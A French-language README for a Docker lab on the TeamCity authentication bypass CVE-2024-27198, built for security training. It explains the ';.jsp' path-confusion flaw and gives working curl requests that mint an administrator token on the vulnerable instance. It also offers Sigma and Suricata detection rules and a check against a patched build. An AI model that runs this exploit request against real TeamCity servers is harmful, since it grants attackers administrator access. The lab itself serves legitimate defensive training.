
Laboratoire basé sur Docker pour le contournement d'authentification CVE-2024-27198 TeamCity. Inclut la reproduction de l'exploit, la chasse aux IoC avec les règles Sigma/Suricata, et des exercices de détection pour l'équipe bleue dans le cadre d'une formation en sécurité.
TeamCity fournit une page réservée aux administrateurs pour la gestion des jetons, qui n'est pas protégée par une authentification. Cela permet à un utilisateur non authentifié de générer un jeton d'accès pour l'utilisateur administrateur s'il parvient à trouver l'ID d'un utilisateur existant.
La vulnérabilité réside dans le mécanisme de routage de l'API REST. En ajoutant des caractères spécifiques (comme ?jsp=/app/rest/...;.jsp) à un point de terminaison non authentifié, les attaquants peuvent tromper le serveur web TeamCity pour qu'il achemine la requête vers un point de terminaison authentifié tout en contournant les filtres de sécurité. Cela ne nécessite aucune connaissance ou accès préalable, ce qui en fait un score CVSS pur de 9,8.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
Accédez à l'instance TeamCity vulnérable à http://localhost:8111. Accédez à l'instance TeamCity corrigée à http://localhost:8112.
Nom d'utilisateur :
admin
Mot de passe :
admin
Requête GET pour une ressource sans authentification :
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Les deux devraient renvoyer une erreur avec le code d'état 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Cela devrait renvoyer un jeton comme celui-ci (le jeton est différent à chaque fois) :
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Cela devrait renvoyer une erreur avec le code d'état 401 car l'instance corrigée n'a pas la vulnérabilité.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Devrait renvoyer la liste des utilisateurs.
Pendant la démonstration en laboratoire, vous pouvez montrer une découverte majeure pour l'équipe bleue : par défaut, cette vulnérabilité est incroyablement furtive !
;.jsp ne sont pas enregistrées.Alors comment l'attraper ? Quand l'attaquant nettoie ses traces ! Lorsque l'attaquant supprime son jeton frauduleux pour se cacher, TeamCity enregistre cela.
Trouvez l'attaquant couvrant ses traces dans les journaux d'audit :
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Vous verrez une entrée de journal indiquant que le jeton "REDTEAM" a été supprimé).
docker compose -f docker-compose.yml down
Cette vulnérabilité est une instance de CWE-288 : Contournement d'authentification via un chemin ou canal alternatif.
Le défaut provient d'un problème de confusion de chemin entre le serveur web Tomcat et le routeur d'application TeamCity. En ajoutant ;.jsp et en passant le point de terminaison de l'API REST cible dans le paramètre jsp=, le filtre de sécurité initial interprète la requête comme une requête non authentifiée vers un fichier .jsp public (ce qui est autorisé). Cependant, le routeur interne supprime le ;.jsp et transmet la requête au point de terminaison restreint /app/rest/ sans appliquer le filtre d'authentification.
Cas d'utilisation légitime (Pourquoi ; est-il autorisé ?) :
Tomcat utilise le point-virgule (;) pour les paramètres de matrice. Historiquement, ce mécanisme est utilisé pour passer des paramètres directement dans le chemin, comme l'ajout de JSESSIONID pour maintenir l'état de session utilisateur lorsque les cookies sont désactivés. Ce comportement normal et légitime du serveur web, combiné à la validation incorrecte par le routeur d'application TeamCity, crée la vulnérabilité.
Pour détecter une compromission en cours ou passée, les équipes bleues doivent rechercher :
/app/rest/ mais contenant la chaîne anormale ;.jsp dans l'URI.teamcity-server.log) : Génération inexpliquée de jetons d'accès ou création de nouveaux comptes administratifs.Étant donné que l'exploitation initiale est furtive par défaut, les équipes bleues doivent s'appuyer sur la détection des actions post-exploitation de l'attaquant, comme le nettoyage de ses traces. Voici une règle Sigma pour votre SIEM afin de détecter les suppressions de jetons suspectes :
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
Pour prouver que cette détection fonctionne, exécutez le script siem_simulator.py.
docker compose up -d).python3 siem_simulator.py
Pour détecter cette tentative d'exploitation sur le réseau, un SOC peut implémenter la règle IDS suivante, qui recherche le motif anormal ;.jsp combiné aux chemins d'API REST :
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Pour prouver que l'atténuation fonctionne, vous pouvez lancer la même charge utile d'exploitation contre le conteneur TeamCity corrigé fonctionnant sur le port 8112 :
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Étant donné que le correctif applique strictement la correspondance des routes et nettoie correctement les paramètres de matrice, le contournement échouera. Vous devriez voir une réponse 401 Unauthorized ou 404 Not Found au lieu d'un jeton généré.